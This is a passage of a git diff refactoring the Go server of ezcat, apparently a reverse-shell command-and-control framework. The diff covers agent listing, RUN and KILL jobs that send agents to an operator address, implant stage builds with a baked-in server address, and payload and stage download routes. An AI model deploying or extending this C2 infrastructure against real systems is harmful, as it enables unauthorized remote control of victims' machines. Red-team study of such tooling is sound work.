-  if len(id) != global.ID_LEN {
-    return ""
-  }
-
-  for _, s := range stages {
-    fp := path.Join(global.CONFIG_DATADIR, s)
-    if strings.HasPrefix(s, id) && util.Access(fp){
-      return fp 
-    }
-  }
-
-  return ""
-}
-
-func StageHas(id string) bool {
-  return StageGet(id) != ""
-}
-
-func StageAdd(id string, src string) (string, error) {
-  name := fmt.Sprintf("%s_stage", id)
-  
-  err := os.Mkdir(global.CONFIG_DATADIR, 0777)
-  if err != nil && !os.IsExist(err) {
-    return "", err
-  }
-
-  err = util.CopyFile(path.Join(global.CONFIG_DATADIR, name), src)
-  if err != nil {
-    return "", err
-  }
-
-  stages = append(stages, name)
-  return name, nil
-}
-
-func StageBuild(conf StageConfig) (string, error) {
-  stagedir := path.Join(global.CONFIG_PAYLOADDIR, "stage")
-  builddir := path.Join("/tmp", "ezcat_stage_"+conf.ID)
-
-  err := util.CopySimple(builddir, stagedir)
-  if err != nil {
-    return "", fmt.Errorf("failed to copy stage dir: %s", err.Error()) 
-  }
-
-  cfgfile := path.Join(builddir, STAGE_CONFIG)
-  err = os.WriteFile(cfgfile, []byte(fmt.Sprintf(`#pragma once
-#include <stdbool.h>
-
-#define SERVER_ADDRESS "%s"
-#define SERVER_PORT %d
-#define ID "%s"
-#define DEBUG %s`, 
-  conf.Address, 
-  conf.Port, 
-  conf.ID, 
-  util.BoolToStr(global.CONFIG_DEBUG))), os.ModePerm)
-
-  if err != nil {
-    return "", fmt.Errorf("failed to write to the config file: %s", err.Error()) 
-  }
-
-  out, err := util.RunBuild(builddir, conf.Target.CodeName())
-
-  if err != nil {
-    log.Err("Failed to run the build command for the stage:\n=====\n%s\n=====", out)
-    return "", fmt.Errorf("failed to run the build: %s", err.Error()) 
-  }
-
-  path, err := StageAdd(conf.ID, path.Join(builddir, STAGE_OUTPUT))
-  if err != nil {
-    return "", fmt.Errorf("failed to add stage build: %s", err.Error())
-  }
-
-  return path, nil 
-}
diff --git a/server/payload/target.go b/server/payload/target.go
deleted file mode 100644
index 55b3175..0000000
--- a/server/payload/target.go
+++ /dev/null
@@ -1,45 +0,0 @@
-package payload
-
-import (
-	"fmt"
-	"strings"
-)
-
-type Target struct {
-  Name string `json:"name"`
-  Arch string `json:"arch"`
-}
-
-var (
-  TARGET_LINUX   = Target{
-    Name: "Linux",
-    Arch: "amd64",
-  }
-
-  TARGET_WINDOWS = Target{
-    Name: "Windows",
-    Arch: "amd64",
-  }
-
-  TARGET_ALL     = []Target{
-    TARGET_LINUX, TARGET_WINDOWS,
-  }
-)
-
-func (t *Target) PrettyName() string{
-  return fmt.Sprintf("%s (%s)", t.Name, t.Arch)
-}
-
-func (t *Target) CodeName() string {
-  return fmt.Sprintf("%s_%s", 
-    strings.ToLower(t.Name), strings.ToLower(t.Arch))
-}
-
-func TargetByCode(cn string) *Target {
-  for i := range TARGET_ALL {
-    if TARGET_ALL[i].CodeName() == cn {
-      return &TARGET_ALL[i]
-    }
-  }
-  return nil
-}
diff --git a/server/routes/agents.go b/server/routes/agents.go
index 3e971b0..aabd122 100644
--- a/server/routes/agents.go
+++ b/server/routes/agents.go
@@ -2,94 +2,107 @@ package routes
 
 import (
 	"fmt"
+	"strconv"
 
 	"github.com/gofiber/fiber/v2"
 	"github.com/ngn13/ezcat/server/agent"
+	"github.com/ngn13/ezcat/server/c2"
 	"github.com/ngn13/ezcat/server/log"
 	"github.com/ngn13/ezcat/server/util"
 )
 
 func GET_agents(c *fiber.Ctx) error {
-  var res []agent.Data
-  agent.Clean()
+	list := c.Locals("agents").(*agent.List)
+	list.Update()
 
-  for i := range agent.List {
-    cur := &agent.List[i]
+	agents := list.Ready()
 
-    if !cur.Active {
-      continue
-    }
-
-    if cur.Username == "" || cur.Hostname == "" {
-      log.Debug("Not listing %s (info not received yet)", cur.ID)
-      continue
-    }
-
-    res = append(res, cur.Data())
-  }
-
-  return c.JSON(&fiber.Map{
-    "list": res,
-  })
+	return c.JSON(&fiber.Map{
+		"list": agents,
+	})
 }
 
 func PUT_run(c *fiber.Ctx) error {
-  agent.Clean()
-
-  var data map[string]string
-  if err := c.BodyParser(&data); err != nil {
-    return util.ErrorCode(c, 400)
-  }
-
-  if data["address"] == "" || data["id"] == "" {
-    return util.ErrorCode(c, 400)
-  }
-
-  ip, port, err := util.ParseAddr(data["address"])
-  if err != nil {
-    return util.ErrorCode(c, 400)
-  }
-
-  a := agent.Get(data["id"])
-  if a == nil {
-    return util.ErrorCode(c, 404)
-  }
-
-  if !a.Active {
-    return util.Error(c, "Agent is not active")
-  }
-
-  work := a.AddWork(agent.CMD_RUN, fmt.Sprintf("%s:%d", ip, port), nil)
-  return c.JSON(&fiber.Map{
-    "job": work.Job.ID,
-  })
+	var (
+		data map[string]string
+
+		list *agent.List
+		ag   *agent.Agent
+
+		session uint64
+		ip      string
+		port    uint16
+		err     error
+	)
+
+	list = c.Locals("agents").(*agent.List)
+	list.Update()
+
+	if err = c.BodyParser(&data); err != nil {
+		log.Debg("failed to parse the body: %s", err.Error())
+		return util.ErrorCode(c, 400)
+	}
+
+	if data["address"] == "" || data["session"] == "" {
+		return util.ErrorCode(c, 400)
+	}
+
+	if ip, port, err = util.ParseAddr(data["address"]); err != nil {
+		log.Debg("failed to parse the address: %s", err.Error())
+		return util.ErrorCode(c, 400)
+	}
+
+	if session, err = strconv.ParseUint(data["session"], 10, 32); err != nil {
+		log.Debg("failed to parse session: %s", err.Error())
+		return util.ErrorCode(c, 400)
+	}
+
+	if ag = list.Find(uint32(session)); ag == nil {
+		return util.Error(c, "agent not found")
+	}
+
+	if !ag.Conneceted {
+		return util.Error(c, "agent is not active")
+	}
+
+	addr := fmt.Sprintf("%s:%d", ip, port)
+	job := ag.AddJob(c2.COMMAND_RUN, []byte(addr), 0, nil)
+
+	return c.JSON(&fiber.Map{
+		"job": job.ID,
+	})
 }
 
-func KillCallack(w *agent.Work) {
-  a := agent.Get(w.Session)
-  agent.DefaultCallack(w)
-  a.Deactivate()
+func KillCallack(j *agent.Job) {
+	j.Agent.ShouldKill = true
 }
 
 func GET_kill(c *fiber.Ctx) error {
-  agent.Clean()
-  id := c.Query("id")
-
-  if id == "" {
-    return util.ErrorCode(c, 400)
-  }
-
-  a := agent.Get(id)
-  if a == nil {
-    return util.ErrorCode(c, 404)
-  }
-
-  if !a.Active {
-    return util.Error(c, "Agent is not active")
-  }
-
-  work := a.AddWork(agent.CMD_KILL, "plz", KillCallack)
-  return c.JSON(&fiber.Map{
-    "job": work.Job.ID,
-  })
+	var (
+		ag      *agent.Agent
+		session uint64
+		err     error
+	)
+
+	list := c.Locals("agents").(*agent.List)
+	list.Update()
+
+	if session, err = strconv.ParseUint(c.Query("session"), 10, 32); err != nil {
+		log.Debg("failed to parse session: %s", err.Error())
+		return util.ErrorCode(c, 400)
+	}
+
+	if ag = list.Find(uint32(session)); ag == nil {
+		return util.ErrorCode(c, 404)
+	}
+
+	if !ag.Conneceted {
+		return util.Error(c, "agent is not active")
+	}
+
+	job := ag.AddJob(c2.COMMAND_KILL, nil, 0, KillCallack)
+
+	return c.JSON(&fiber.Map{
+		"job": job.ID,
+	})
 }
diff --git a/server/routes/api.go b/server/routes/api.go
new file mode 100644
index 0000000..4797b73
--- /dev/null
+++ b/server/routes/api.go
@@ -0,0 +1,16 @@
+package routes
+
+import "github.com/gofiber/fiber/v2"
+
+func CORS(c *fiber.Ctx) error {
+	c.Set("Access-Control-Allow-Origin", "*")
+	c.Set("Access-Control-Allow-Headers",
+		"Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With")
+	c.Set("Access-Control-Allow-Methods", "OPTIONS, PUT, DELETE, GET")
+
+	if c.Method() == "OPTIONS" {
+		return c.SendString("")
+	}
+
+	return c.Next()
+}
diff --git a/server/routes/auth.go b/server/routes/auth.go
new file mode 100644
index 0000000..f6d3f78
--- /dev/null
+++ b/server/routes/auth.go
@@ -0,0 +1,74 @@
+package routes
+
+import (
+	"github.com/gofiber/fiber/v2"
+	"github.com/ngn13/ezcat/server/config"
+	"github.com/ngn13/ezcat/server/log"
+	"github.com/ngn13/ezcat/server/util"
+)
+
+var tokens []string = []string{}
+
+func tokenOK(c *fiber.Ctx) bool {
+	token := util.GetToken(c)
+	for _, t := range tokens {
+		if t == token {
+			return true
+		}
+	}
+	return false
+}
+
+func tokenNew() string {
+	tokens = append(tokens, util.MakeRandom(31))
+	return tokens[len(tokens)-1]
+}
+
+func tokenDel(token string) {
+	for i, t := range tokens {
+		if t == token {
+			tokens = append(tokens[:i], tokens[i+1:]...)
+			return
+		}
+	}
+}
+
+func Auth(c *fiber.Ctx) error {
+	if tokenOK(c) {
+		return c.Next()
+	}
+
+	return util.ErrorCode(c, 401)
+}
+
+func PUT_login(c *fiber.Ctx) error {
+	var (
+		data map[string]string
+		conf *config.Struct
+	)
+
+	conf = c.Locals("config").(*config.Struct)
+
+	if err := c.BodyParser(&data); err != nil {
+		return util.ErrorCode(c, 400)
+	}
+
+	if data["password"] == "" {
+		return util.ErrorCode(c, 400)
+	}
+
+	if conf.Password != data["password"] {
+		return util.Error(c, "Invalid password")
+	}
+
+	log.Info("new login from %s", c.IP())
+
+	return c.JSON(fiber.Map{
+		"token": tokenNew(),
+	})
+}
+
+func GET_logout(c *fiber.Ctx) error {
+	tokenDel(util.GetToken(c))
+	return c.JSON(fiber.Map{})
+}
diff --git a/server/routes/info.go b/server/routes/info.go
index 89af0ce..2d42a50 100644
--- a/server/routes/info.go
+++ b/server/routes/info.go
@@ -2,14 +2,14 @@ package routes
 
 import (
 	"github.com/gofiber/fiber/v2"
-	"github.com/ngn13/ezcat/server/global"
+	"github.com/ngn13/ezcat/server/config"
 )
 
-const VERSION = "2.3"
-
 func GET_info(c *fiber.Ctx) error {
-  return c.JSON(&fiber.Map{
-    "version": VERSION,
-    "megamind": global.CONFIG_MEGAMIND,
-  })
+	conf := c.Locals("config").(*config.Struct)
+
+	return c.JSON(&fiber.Map{
+		"version":  conf.Version,
+		"megamind": conf.Megamind,
+	})
 }
diff --git a/server/routes/job.go b/server/routes/job.go
index b1171ff..e950a64 100644
--- a/server/routes/job.go
+++ b/server/routes/job.go
@@ -3,32 +3,56 @@ package routes
 import (
 	"github.com/gofiber/fiber/v2"
 	"github.com/ngn13/ezcat/server/agent"
-	"github.com/ngn13/ezcat/server/jobs"
+	"github.com/ngn13/ezcat/server/log"
 	"github.com/ngn13/ezcat/server/util"
 )
 
 func GET_job(c *fiber.Ctx) error {
-  agent.Clean()
+	var (
+		job *agent.Job
+		id  uint16
+		err error
+	)
 
-  id := c.Query("id")
-  if id == "" {
-    return util.Error(c, "Job ID is not specified")
-  }
+	list := c.Locals("agents").(*agent.List)
+	list.Update()
 
-  job := jobs.Get(id)
-  if job == nil {
-    return util.Error(c, "Job not found")
-  }
+	if id, err = util.ToUint16(c.Query("id")); err != nil {
+		log.Debg("failed to parse job ID: %s", err.Error())
+		return util.Error(c, "Invalid job ID")
+	}
 
-  return c.JSON(job)
+	if job = list.GetJob(id); job == nil {
+		return util.Error(c, "Job not found")
+	}
+
+	res := fiber.Map{
+		"id":      job.ID,
+		"waiting": job.Waiting,
+		"success": job.Success,
+	}
+
+	if job.Response != nil {
+		res["message"] = string(job.Response)
+	}
+
+	return c.JSON(&res)
 }
 
 func DEL_job(c *fiber.Ctx) error {
-  id := c.Query("id")
-  if id == "" {
-    return util.Error(c, "Job ID is not specified")
-  }
+	var (
+		id  uint16
+		err error
+	)
+
+	list := c.Locals("agents").(*agent.List)
+	list.Update()
+
+	if id, err = util.ToUint16(c.Query("id")); err != nil {
+		log.Debg("failed to parse job ID: %s", err.Error())
+		return util.Error(c, "Invalid job ID")
+	}
 
-  jobs.Del(id)
-  return c.JSON(&fiber.Map{})
+	list.DelJob(id)
+	return c.JSON(nil)
 }
diff --git a/server/routes/login.go b/server/routes/login.go
deleted file mode 100644
index ddb1e0f..0000000
--- a/server/routes/login.go
+++ /dev/null
@@ -1,28 +0,0 @@
-package routes
-
-import (
-	"github.com/gofiber/fiber/v2"
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/log"
-	"github.com/ngn13/ezcat/server/util"
-)
-
-func PUT_login(c *fiber.Ctx) error {
-  var data map[string]string
-  if err := c.BodyParser(&data); err != nil {
-    return util.ErrorCode(c, 400)
-  }
-
-  if data["password"] == "" {
-    return util.ErrorCode(c, 400)
-  } 
-
-  if global.CONFIG_PASSWORD != data["password"] {
-    return util.Error(c, "Invalid password")
-  }
-
-  log.Info("New login from %s", c.IP())
-  return c.JSON(fiber.Map{
-    "token": TokenNew(),
-  })
-}
diff --git a/server/routes/logout.go b/server/routes/logout.go
deleted file mode 100644
index 6cbfedf..0000000
--- a/server/routes/logout.go
+++ /dev/null
@@ -1,11 +0,0 @@
-package routes 
-
-import (
-	"github.com/gofiber/fiber/v2"
-	"github.com/ngn13/ezcat/server/util"
-)
-
-func GET_logout(c *fiber.Ctx) error {
-  TokenDel(util.GetToken(c))
-  return c.JSON(fiber.Map{})
-}
diff --git a/server/routes/payload.go b/server/routes/payload.go
index 484562f..ae79bc1 100644
--- a/server/routes/payload.go
+++ b/server/routes/payload.go
@@ -4,70 +4,69 @@ import (
 	"fmt"
 
 	"github.com/gofiber/fiber/v2"
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/jobs"
-	"github.com/ngn13/ezcat/server/payload"
+	"github.com/ngn13/ezcat/server/builder"
+	"github.com/ngn13/ezcat/server/config"
 	"github.com/ngn13/ezcat/server/util"
 )
 
 func GET_payloads(c *fiber.Ctx) error {
-  return c.JSON(&fiber.Map{
-    "list": payload.List,
-  })
+	return c.JSON(&fiber.Map{
+		"list": c.Locals("builder").(*builder.Struct).Payloads,
+	})
 }
 
 func GET_address(c *fiber.Ctx) error {
-  port := c.Query("port")
-  if port == "" {
-    return c.JSON(&fiber.Map{
-      "address": fmt.Sprintf("%s:%d", util.GetIP(), global.CONFIG_HTTPPORT),
-    })
-  }
+	conf := c.Locals("config").(*config.Struct)
+	port := c.Query("port")
+	ip := conf.ShellIP
 
-  return c.JSON(&fiber.Map{
-    "address": fmt.Sprintf("%s:%s", util.GetIP(), port),
-  })
-}
+	// if IP is not set in environment, try to detect it
+	if ip == "" {
+		ip = util.GetIP()
+	}
 
-func PUT_build(c *fiber.Ctx) error {
-  var data map[string]string
+	if port == "" {
+		return c.JSON(&fiber.Map{
+			"address": fmt.Sprintf("%s:%d", ip, conf.HTTP_Port),
+		})
+	}
 
-  if err := c.BodyParser(&data); err != nil {
-    return util.ErrorCode(c, 400)
-  }
+	return c.JSON(&fiber.Map{
+		"address": fmt.Sprintf("%s:%s", ip, port),
+	})
+}
 
-  if data["address"] == "" || data["type"] == "" || data["os"] == "" {
-    return util.ErrorCode(c, 400)
-  }
+func PUT_build(c *fiber.Ctx) (err error) {
+	var (
+		data    map[string]string
+		target  *builder.Target
+		payload *builder.Payload
+		res     string
+	)
 
-  target := payload.TargetByCode(data["os"])
-  if target == nil {
-    return util.Error(c, "Unknown OS/Arch")
-  }
+	build := c.Locals("builder").(*builder.Struct)
 
-  pyld := payload.Get(data["type"])
-  if pyld == nil {
-    return util.Error(c, "Unknown payload type")
-  }
+	if err := c.BodyParser(&data); err != nil {
+		return util.ErrorCode(c, 400)
+	}
 
-  job := jobs.Add("Building the payload...")
+	if data["address"] == "" || data["type"] == "" || data["os"] == "" {
+		return util.ErrorCode(c, 400)
+	}
 
-  go func(){
-    res, err   := pyld.Build(target, data["address"])
-    job.Active  = false
-    util.CleanTemp()
+	if target = builder.TargetByCode(data["os"]); target == nil {
+		return util.Error(c, "Unknown OS/Arch")
+	}
 
-    if err != nil {
-      job.Message = fmt.Sprintf("Build failed: %s", err.Error())
-      job.Success = false
-      return
-    }
+	if payload = build.GetPayload(data["type"]); payload == nil {
+		return util.Error(c, "Unknown payload type")
+	}
 
-    job.Message = res 
-    job.Success = true 
-  }()
+	if res, err = build.Create(payload, target, data["address"]); err != nil {
+		return util.Error(c, fmt.Sprintf("Build failed: %s", err.Error()))
+	}
 
-  return c.JSON(&fiber.Map{
-    "job": job.ID,
-  })
+	return c.JSON(&fiber.Map{
+		"payload": string(res),
+	})
 }
diff --git a/server/routes/stage.go b/server/routes/stage.go
index 02d2218..42159b2 100644
--- a/server/routes/stage.go
+++ b/server/routes/stage.go
@@ -2,19 +2,24 @@ package routes
 
 import (
 	"github.com/gofiber/fiber/v2"
-	"github.com/ngn13/ezcat/server/payload"
+	"github.com/ngn13/ezcat/server/builder"
 )
 
 func GET_stage(c *fiber.Ctx) error {
-  id := c.Params("id")
-  if id == "" {
-    return c.Status(404).SendString("not found")
-  }
-  
-  stpath := payload.StageGet(id)
-  if stpath == "" {
-    return c.Status(404).SendString("not found")
-  }
+	var (
+		id         string
+		stage_path string
+	)
 
-  return c.SendFile(stpath)
+	build := c.Locals("builder").(*builder.Struct)
+
+	if id = c.Params("id"); id == "" {
+		return c.Status(404).SendString("not found")
+	}
+
+	if stage_path = build.GetStage(id); stage_path == "" {
+		return c.Status(404).SendString("not found")
+	}
+
+	return c.SendFile(stage_path)
 }
diff --git a/server/routes/token.go b/server/routes/token.go
deleted file mode 100644
index a251179..0000000
--- a/server/routes/token.go
+++ /dev/null
@@ -1,40 +0,0 @@
-package routes 
-
-import (
-	"github.com/gofiber/fiber/v2"
-	"github.com/ngn13/ezcat/server/util"
-)
-
-var tokens []string = []string{}
-
-func TokenOK(c *fiber.Ctx) bool {
-  token := util.GetToken(c) 
-  for _, t := range tokens {
-    if t == token {
-      return true
-    }
-  }
-  return false
-}
-
-func TokenNew() string {
-  tokens = append(tokens, util.MakeRandom(31))
-  return tokens[len(tokens)-1]
-}
-
-func TokenDel(token string) {
-  for i, t := range tokens {
-    if t == token {
-      tokens = append(tokens[:i], tokens[i+1:]...)
-      return
-    }
-  }
-}
-
-func ALL_auth(c *fiber.Ctx) error {
-  if TokenOK(c) {
-    return c.Next()
-  }
-
-  return util.ErrorCode(c, 401)
-}
diff --git a/server/util/util.go b/server/util/util.go
index a0c731d..31bc0c7 100644
--- a/server/util/util.go
+++ b/server/util/util.go
@@ -4,6 +4,7 @@ import (
 	"encoding/base64"
 	"fmt"
 	"io"
+	"math"
 	"math/rand"
 	"net"
 	"os"
@@ -13,284 +14,256 @@ import (
 	"strings"
 
 	"github.com/gofiber/fiber/v2"
-	"github.com/ngn13/ezcat/server/log"
 )
 
-
 var chars = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789")
 
 func MakeRandom(size int) string {
-  ret := make([]rune, size)
-  for i := range ret {
-    ret[i] = chars[rand.Intn(len(chars))]
-  }
-
-  return string(ret)
-}
+	ret := make([]rune, size)
+	for i := range ret {
+		ret[i] = chars[rand.Intn(len(chars))]
+	}
 
-func Error(c *fiber.Ctx, err string) error {
-  return c.JSON(fiber.Map{
-    "error": err,
-  })
-}
-
-func ErrorCode(c *fiber.Ctx, code int) error {
-  switch code {
-  case 400:
-    return c.Status(code).JSON(fiber.Map{
-      "error": "Bad request",
-    })
-
-  case 401:
-    return c.Status(code).JSON(fiber.Map{
-      "error": "You are not logged in",
-    })
-
-  default:
-    return c.Status(code).JSON(fiber.Map{
-      "error": "Internal error",
-    })
-  }
-}
-
-func ErrorInternal(c *fiber.Ctx, err string) error {
-  log.Err("Error: %s", err)
-  return ErrorCode(c, 500)
+	return string(ret)
 }
 
 func SendEnc(c *fiber.Ctx, plain string) error {
-  enc := base64.StdEncoding.EncodeToString([]byte(plain))
-  return c.SendString(enc)
+	enc := base64.StdEncoding.EncodeToString([]byte(plain))
+	return c.SendString(enc)
 }
 
-func Reverse(str string) (result string) { 
-  for _, v := range str { 
-    result = string(v) + result 
-  } 
-  
-  return
-}
+func Reverse(str string) (result string) {
+	for _, v := range str {
+		result = string(v) + result
+	}
 
-func GetToken(c *fiber.Ctx) string {
-  return c.Get("Authorization")
+	return
 }
 
-func CORS(c *fiber.Ctx) error {
-  c.Set("Access-Control-Allow-Origin", "*")
-  c.Set("Access-Control-Allow-Headers", 
-  "Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With")
-  c.Set("Access-Control-Allow-Methods", "OPTIONS, PUT, DELETE, GET")
-
-  if c.Method() == "OPTIONS" {
-    return c.SendString("")
-  }
-
-  return c.Next()
+func GetToken(c *fiber.Ctx) string {
+	return c.Get("Authorization")
 }
 
 func GetAddr(addrs []net.Addr) string {
-  for _, a := range addrs {
-    switch v := a.(type) {
-    case *net.IPNet:
-      if strings.Contains(v.IP.String(), ":") {
-        continue
-      }
-      return v.IP.String()
-    case *net.IPAddr:
-      if strings.Contains(v.IP.String(), ":") {
-        continue
-      }
-      return v.IP.String()
-    }
-  }
-
-  return ""
+	for _, a := range addrs {
+		switch v := a.(type) {
+		case *net.IPNet:
+			if strings.Contains(v.IP.String(), ":") {
+				continue
+			}
+			return v.IP.String()
+		case *net.IPAddr:
+			if strings.Contains(v.IP.String(), ":") {
+				continue
+			}
+			return v.IP.String()
+		}
+	}
+
+	return ""
 }
 
 func GetIP() string {
-  enip := os.Getenv("SHELLIP")
-  if enip != "" {
-    return enip
-  }
-
-  ip := "127.0.0.1"
-  foundtun := false
-  ifs, err := net.Interfaces()
-  if err != nil {
-    return ip
-  }
-
-  for _, i := range ifs {
-    if strings.HasPrefix(i.Name, "lo") || 
-      strings.HasPrefix(i.Name, "docker") || 
-      foundtun{
-      continue
-    }
-
-    ips, err := i.Addrs()
-    if err != nil || len(ips) == 0{
-      continue
-    }
-
-    nip := GetAddr(ips)
-    if nip == "" {
-      continue
-    }
-
-    ip = nip
-    if strings.HasPrefix(i.Name, "tun") {
-      foundtun = true
-    } 
-  }
-
-  return ip
+	ip := "127.0.0.1"
+	foundtun := false
+	ifs, err := net.Interfaces()
+
+	if err != nil {
+		return ip
+	}
+
+	for _, i := range ifs {
+		if strings.HasPrefix(i.Name, "lo") ||
+			strings.HasPrefix(i.Name, "docker") ||
+			foundtun {
+			continue
+		}
+
+		ips, err := i.Addrs()
+		if err != nil || len(ips) == 0 {
+			continue
+		}
+
+		nip := GetAddr(ips)
+		if nip == "" {
+			continue
+		}
+
+		ip = nip
+		if strings.HasPrefix(i.Name, "tun") {
+			foundtun = true
+		}
+	}
+
+	return ip
 }
 
 func Access(p string) bool {
-  _, err := os.Stat(p)
-  if err != nil {
-    return false
-  }
-  return true
+	_, err := os.Stat(p)
+	if err != nil {
+		return false
+	}
+	return true
 }
 
 func Rot13Byte(c byte) byte {
-  if (c >= 'A' && c <= 'Z'){
-    return 'A' + ((c - 'A' + 13) % 26)
-  }else if (c >= 'a' && c <= 'z'){
-    return 'a' + ((c - 'a' + 13) % 26)
-  }
-  return c
+	if c >= 'A' && c <= 'Z' {
+		return 'A' + ((c - 'A' + 13) % 26)
+	} else if c >= 'a' && c <= 'z' {
+		return 'a' + ((c - 'a' + 13) % 26)
+	}
+	return c
 }
 
 func Rot13(s string) string {
-  var result []byte
-  bytes := []byte(s)
+	var result []byte
+	bytes := []byte(s)
 
-  for _, b := range bytes {
-    result = append(result, Rot13Byte(b))
-  }
+	for _, b := range bytes {
+		result = append(result, Rot13Byte(b))
+	}
 
-  return string(result)
+	return string(result)
 }
 
 func CopyFile(dst string, src string) error {
-  srcf, err := os.Open(src)
-  if err != nil {
-    return err
-  }
-  defer srcf.Close()
-
-  dstf, err := os.Create(dst)
-  if err != nil {
-    return err
-  }
-  defer dstf.Close()
-
-  _, err = io.Copy(dstf, srcf)
-  if err != nil {
-    return err
-  }
-
-  err = dstf.Sync()
-  if err != nil {
-    return err
-  }
-
-  return nil
+	srcf, err := os.Open(src)
+	if err != nil {
+		return err
+	}
+	defer srcf.Close()
+
+	dstf, err := os.Create(dst)
+	if err != nil {
+		return err
+	}
+	defer dstf.Close()
+
+	_, err = io.Copy(dstf, srcf)
+	if err != nil {
+		return err
+	}
+
+	err = dstf.Sync()
+	if err != nil {
+		return err
+	}
+
+	return nil
 }
 
 func CopySimple(dst string, src string) error {
-  st, err := os.Stat(src)
-  if err != nil {
-    return err
-  } 
-
-  if !st.IsDir(){
-    return CopyFile(dst, src)
-  }
-
-  err = os.Mkdir(dst, os.ModePerm)
-  if err != nil {
-    return err
-  }
-
-  entries, err := os.ReadDir(src)
-  if err != nil {
-    return err
-  }
-
-  for _, e := range entries {
-    src_new := path.Join(src, e.Name())
-    dst_new := path.Join(dst, e.Name())
-
-    err = CopySimple(dst_new, src_new)
-    if err != nil {
-      return err
-    }
-  }
-
-  return nil
-} 
-
-func BoolToStr(r bool) string{
-  if r {
-    return "true"
-  }
-  return "false"
+	st, err := os.Stat(src)
+	if err != nil {
+		return err
+	}
+
+	if !st.IsDir() {
+		return CopyFile(dst, src)
+	}
+
+	err = os.Mkdir(dst, os.ModePerm)
+	if err != nil {
+		return err
+	}
+
+	entries, err := os.ReadDir(src)
+	if err != nil {
+		return err
+	}
+
+	for _, e := range entries {
+		src_new := path.Join(src, e.Name())
+		dst_new := path.Join(dst, e.Name())
+
+		err = CopySimple(dst_new, src_new)
+		if err != nil {
+			return err
+		}
+	}
+
+	return nil
+}
+
+func BoolToStr(r bool) string {
+	if r {
+		return "true"
+	}
+	return "false"
 }
 
-func RunBuild(dir string, oscode string) (string, error) {
-  cmd := exec.Command("/bin/bash", "build.sh", oscode)
-  cmd.Dir = dir
+func RunBuild(dir string, oscode string, options map[string]string) (string, error) {
+	var (
+		output []byte
+		err    error
+	)
 
-  output, err := cmd.CombinedOutput()
+	cmd := exec.Command("/bin/bash", "build.sh", oscode)
+	cmd.Dir = dir
 
-  if err != nil {
-    return string(output), err
-  }
+	if nil != options {
+		for k, v := range options {
+			opt := fmt.Sprintf("%s=%s", k, v)
+			cmd.Args = append(cmd.Args, opt)
+		}
+	}
 
-  return string(output), nil
+	if output, err = cmd.CombinedOutput(); err != nil {
+		return string(output), err
+	}
+
+	return string(output), nil
 }
 
-func IsValidPort(port int) bool{
-  return port > 0 && port <= 65535
+func IsValidPort(port int) bool {
+	return port > 0 && port <= math.MaxUint16
 }
 
-func ParseAddr(addr string) (string, int, error) {
-  cols := strings.Split(addr, ":")
-  if len(cols) != 2{
-    return "", -1, fmt.Errorf("invalid address format")
-  }
+func ParseAddr(addr string) (string, uint16, error) {
+	cols := strings.Split(addr, ":")
+
+	if len(cols) != 2 {
+		return "", 0, fmt.Errorf("invalid address format")
+	}
 
-  port, err := strconv.Atoi(cols[1])
-  if err != nil || !IsValidPort(port) {
-    return "", -1, fmt.Errorf("invalid port number")
-  }
+	port, err := strconv.Atoi(cols[1])
 
-  return cols[0], port, nil
+	if err != nil || !IsValidPort(port) {
+		return "", 0, fmt.Errorf("invalid port number")
+	}
+
+	return cols[0], uint16(port), nil
 }
 
-func ContainsString(s string, l []string) bool{
-  for _, e := range l {
-    if s == e {
-      return true
-    }
-  }
-  return false
+func ContainsString(s string, l []string) bool {
+	for _, e := range l {
+		if s == e {
+			return true
+		}
+	}
+	return false
 }
 
 func CleanTemp() {
-  entries, err := os.ReadDir("/tmp")
-  if err != nil {
-    return
-  }
-
-  for _, e := range entries {
-    name := e.Name()
-    if !strings.HasPrefix(name, "ezcat_") {
-      continue
-    }
-    os.RemoveAll(path.Join("/tmp", name))
-  }
+	entries, err := os.ReadDir("/tmp")
+	if err != nil {
+		return
+	}
+
+	for _, e := range entries {
+		name := e.Name()
+		if !strings.HasPrefix(name, "ezcat_") {
+			continue
+		}
+		os.RemoveAll(path.Join("/tmp", name))
+	}
+}
+
+func ToUint16(s string) (uint16, error) {
+	id, err := strconv.ParseUint(s, 10, 32)
+	return uint16(id), err
+}
+
+func Rand16() uint16 {
+	return uint16(rand.Intn(math.MaxUint16))
 }
diff --git a/server/util/web.go b/server/util/web.go
new file mode 100644
index 0000000..e31855c
--- /dev/null
+++ b/server/util/web.go
@@ -0,0 +1,36 @@
+package util
+
+import (
+	"github.com/gofiber/fiber/v2"
+	"github.com/ngn13/ezcat/server/log"
+)
+
+func Error(c *fiber.Ctx, err string) error {
+	return c.JSON(fiber.Map{
+		"error": err,
+	})
+}
+
+func ErrorCode(c *fiber.Ctx, code int) error {
+	switch code {
+	case 400:
+		return c.Status(code).JSON(fiber.Map{
+			"error": "Bad request",
+		})
+
+	case 401:
+		return c.Status(code).JSON(fiber.Map{
+			"error": "You are not logged in",
+		})
+
+	default:
+		return c.Status(code).JSON(fiber.Map{
+			"error": "Internal error",
+		})
+	}
+}
+
+func ErrorInternal(c *fiber.Ctx, err string) error {
+	log.Fail("%s", err)
+	return ErrorCode(c, 500)
+}